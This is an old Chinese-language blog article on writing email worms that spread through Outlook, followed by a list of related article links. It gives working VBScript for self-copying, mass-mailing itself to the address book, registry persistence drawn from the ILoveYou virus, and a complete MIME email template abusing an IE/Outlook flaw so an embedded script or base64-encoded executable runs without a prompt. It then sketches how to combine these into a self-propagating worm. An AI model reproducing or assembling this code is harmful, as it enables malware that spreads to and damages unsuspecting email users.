如何利用OutLook漏洞编写病毒脚本

原创 2001年05月26日 11:02:00
如何利用OutLook漏洞编写病毒脚本
http://www.tongyi.net  出处:网络    点击:6189  

如何利用OutLook漏洞编写病毒脚本 
原创:coolweis(coolweis) 
来源:coolweis 
 
                  如何利用OutLook漏洞编写蠕虫病毒 
                           
                     coolweis 
                     coolweis@netguard.com.cn 
                     2001年4月6日01:22 AM 


    据称目前已经发现唯一不能通过OutLook传播的病毒口蹄疫已经被发现,看来微软也可以得以一阵子了。开个玩笑,OutLook在传播病毒上真是臭名昭著,像iloveyou,梅莉莎等等产生过很大破坏力的病毒都是通过OutLook传播的。其根本原因就是OutLook的人性化,与脚本的高度集成,复杂性等等,正是由于这些原因导致了病毒的传播。 

    下面我们看一下OutLook传播病毒的机理: 
     
    首先看看病毒的几大特征:自我复制性,传播性,潜伏性。我们收先看看自我复制性。病毒要向传播必须将自身复制借由其他邮件或本身发送出去,OutLook传播的病毒基本上都是由VBScript编写的,其自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。我们看看脚本是怎么样完成这个功能的。 
     
    Set so=CreateObject("Scripting.FileSystemObject") 
    so.GetFile(WScript.ScriptFullName).Copy("C:/dateiname.vbs") 

    就是这么两行就可以将自身复制到c盘根目录下dateiname.vbs这个文件。第一行是创建一个文件系统对象,第二行前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到c盘根目录下dateiname.vbs这个文件。这就是大多数利用VBscript编写的病毒的一个特点。从这里可以看出,禁止了FileSystemObject这个对象就可以很有效的控制这种病毒的传播。下面的这条命令可以禁止文件系统对象。 
     
    regsvr32 scrrun.dll /u 
     
    我们再看看传播性。病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码: 
     
    Set ol=CreateObject("Outlook.Application") 
    On Error Resume Next 
    For x=1 To 50 
    Set Mail=ol.CreateItem(0) 
    Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) 
    Mail.Subject="Betreff der E-Mail" 
    Mail.Body="Text der E-Mail" 
    Mail.Attachments.Add("C:/dateiname.vbs") 
    Mail.Send 
    Next 
    ol.Quit 

    这一小段代码的功能是向地址簿中的前50个用户发送电子邮件,并将脚本自己作为附件。第一行是创建一个Outlook的对象。下面是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。 
     
    至于潜伏,则多数是修改注册表等信息以判断各种条件及取消一些限制。比如下面从Iloveyou病毒中取出的部分代码: 
     
    On Error Resume Next 
    dim wscr,rr 
    set wscr=CreateObject("WScript.Shell") 
    rr=wscr.RegRead("HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting Host/Settings/Timeout") 
    if (rr>=1) then 
    wscr.RegWrite "HKEY_CURRENT_USER/Software/Microsoft/Windows Scripting Host/Settings/Timeout",0,"REG_DWORD" 
    end if 

    很明显是调整脚本语言的超是设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本: 
     
    regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run/MSKernel32",dirsystem&"/MSKernel32.vbs" 
    regcreate "HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/RunServices/Win32DLL",dirwin&"/Win32DLL.vbs" 
     
    其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。 
    ILoveYou病毒还做了一些其它的修改。 
     
    从上面可以看出其实写一个通过OutLook传播的电子邮件病毒很简单。但是作为附件传播,这种传播的效率可能就会打些折扣。下面的一种方法是根据最新的IE的漏洞利用的。下面是这个漏洞的一些情况: 
     
From: "xxxxx" 
Subject: mail 
Date: Thu, 2 Nov 2000 13:27:33 +0100 
MIME-Version: 1.0 
Content-Type: multipart/related; 
    type="multipart/alternative"; 
    boundary="1" 
X-Priority: 3 
X-MSMail-Priority: Normal 

--1 
Content-Type: multipart/alternative; 
    boundary="2" 


--2 
Content-Type: text/html; 
    charset="iso-8859-1" 
Content-Transfer-Encoding: quoted-printable 

<HTML> 
<HEAD> 
</HEAD> 
<BODY bgColor=3D#ffffff> 
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe> 
I will create the file C:/deleteme.txt<BR> 
</BODY> 
</HTML> 

--2-- 

--1 
Content-Type: audio/x-wav; 
    name="hello.vbs" 
Content-Transfer-Encoding: quoted-printable 
Content-ID: <THE-CID> 

set objFileSystem =3D CreateObject("Scripting.FileSystemObject") 
set objOutputFile =3D objFileSystem.CreateTextFile("C:/deleteme.txt", 1) 
objOutputFile.writeline("You can delete this file.") 
objOutputFile.close 
msgbox "I have created the file : c:/deleteme.txt" 


--1 

    上面的这个程序的例子是表明当双击附件的时候OutLook是不会提示你安全信息的,它是直接执行的。这仅仅是将整个上面这些作为附件发送的情况。其实这个文件直接发送给对方,对方只要将焦点移到这一主题上就会执行这个脚本。因此这一漏洞将更加有效的传播电子邮件病毒。产生上面这个漏洞的原因大概是采用HTML发送方式其背景音乐文件没有作检查,导致脚本,应用程序等被执行。采用不同的编码就可以将脚本,命令行命令,可执行文件等内嵌在邮件中。注意上面的一行: 
     
    name="hello.vbs" 
         
    这个文件名可以任意命名,如果是脚本则需要vbs扩展名,如果是命令行命令则应该是bat或cmd结尾。如果是脚本或这种文本方式的命令,则编码方式应为:quoted-printable 
     
    Content-Transfer-Encoding: quoted-printable 
     
    如果是应用程序则文件名应该改为exe扩展名: 
     
    name="hello.exe" 
         
    编码方式应该改为uuMime(base64)编码: 
     
    Content-Transfer-Encoding: quoted-printable 
     
    然后将应用程序进行base64编码插入到: 
     
    Content-ID: <THE-CID> 

    --1 
     
    之间。这样就构造好了一封信。发送的时候可以选择quack写的perl程序,也可以采用我写的windows上的傻瓜程序。 
     
    根据上面的经验,可以写一个应用程序,这个应用程序就是病毒,它首先对自身进行base64编码,然后再将这个编码嵌入到上面这个邮件中,然后向地址簿中的电子邮件地址发送这个电子邮件。收到这个电子邮件的用户当焦点再这个主题上时这个应用程序就会立刻被执行而没有任何提示,执行的结果是和上面一样,先将自身编码,在插入到邮件,在向地址簿中的电子邮件地址发送。如此传播。问题是应用程序对地址簿的读取没有脚本那么容易,而且应用程序的大小也要比脚本大很多。采用脚本编写的话则在发送邮件中比较难于处理成一点即运行的方式。也许是本人对于脚本语言知之甚少的缘故吧。另外在处理复制中也有些困难。因为再另一端执行时脚文件值包含这些脚本命令,而不包含上面的额外的东西。所以处理起来也比较困难。 
     
    以上是我的一点点看法,有些地方可能不对,还请各位大侠批评指正。

发现outlook的一个小漏洞

客户反应我们的网站无法访问, 郁闷得很,明明好好的啊。后来查了一下给客户发的邮件,才发现邮件里的网站超链接都是空的。outlook不是可以自动识别超链接的吗?后来几经折腾才找出问题所在:在outloo...
  • fsclc
  • fsclc
  • 2007年07月12日 17:04
  • 1101

利用CVE-2017-11882漏洞利用的恶意样本分析

概述 2017年11月14日,微软修复了一个Office远程代码执行严重漏洞,漏洞编号为CVE-2017-11882。该漏洞类型为典型的栈溢出漏洞,漏洞代码存在于EQNEDT32.EXE组件...
  • zy_strive_2012
  • zy_strive_2012
  • 2017年11月30日 16:34
  • 221

全球WannaCry勒索病毒爆发背后的技术漏洞

5月12日晚,新型“蠕虫式”勒索病毒软件 WannaCry 在全球爆发,攻击各国政府,学校,医院等网络。我国众多行业大规模受到感染,其中教育网受损最为严重,攻击造成大量教学系统瘫痪。国内部分高校学生反...
  • swingwang
  • swingwang
  • 2017年05月13日 16:45
  • 19750

Outlook2010利用规则运行脚本,将附件保存在固定位置,并在邮件类别中标注类别。

首先要确认触发邮件脚本的规则,比如标题所含字符、固定发件人
  • ChoasRules
  • ChoasRules
  • 2014年07月30日 09:59
  • 7373

认识常见脚本病毒及防范

1. 简单系统命令隐藏病毒:如自动重启病毒:   打开记事本,写入“shutdown /r”命令,保存为名字.bat 文件,创建快捷方式(.link)右键属性,可以更改图标以迷惑对方,当点击运行...
  • boke14122621
  • boke14122621
  • 2017年03月27日 19:56
  • 636

简介JS脚本病毒解密及相关分析方法

0x00 相关背景:        在最近,发现通过邮件发送加密后的js脚本病毒比较猖獗,身边刚好有一个同事在接收到的邮件中,单击链接后发现中了敲诈勒索木马,基本是大多数的文件被加密了,严重危害了用户...
  • Youngs0xff
  • Youngs0xff
  • 2017年05月04日 16:25
  • 307

自己动手写病毒

引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法...
  • baskbeast
  • baskbeast
  • 2016年04月22日 08:18
  • 2036

批处理自动配置Outlook账户

批处理自动配置Outlook账户 使用批处理程序自动执行Outlook客户端的配置过程,自动判断Office版本,自动区分32位、64位。代码如下,请修改代码中的邮箱后缀即可: @echo...
  • hello3389
  • hello3389
  • 2016年01月12日 10:03
  • 1247

C编写的简单病毒程序

C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带...
  • Crystal_lpx
  • Crystal_lpx
  • 2014年08月18日 23:06
  • 1120

基于Linux系统的病毒

尽管在Linux里传播的病毒不多,但也是存在一些,我从一些安全站点搜集了一些资料。     1、病毒名称:     Linux.Slapper.Worm     类别: 蠕虫     ...
  • mao0514
  • mao0514
  • 2014年06月18日 17:48
  • 1838
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:如何利用OutLook漏洞编写病毒脚本
举报原因:
原因补充:

(最多只允许输入30个字)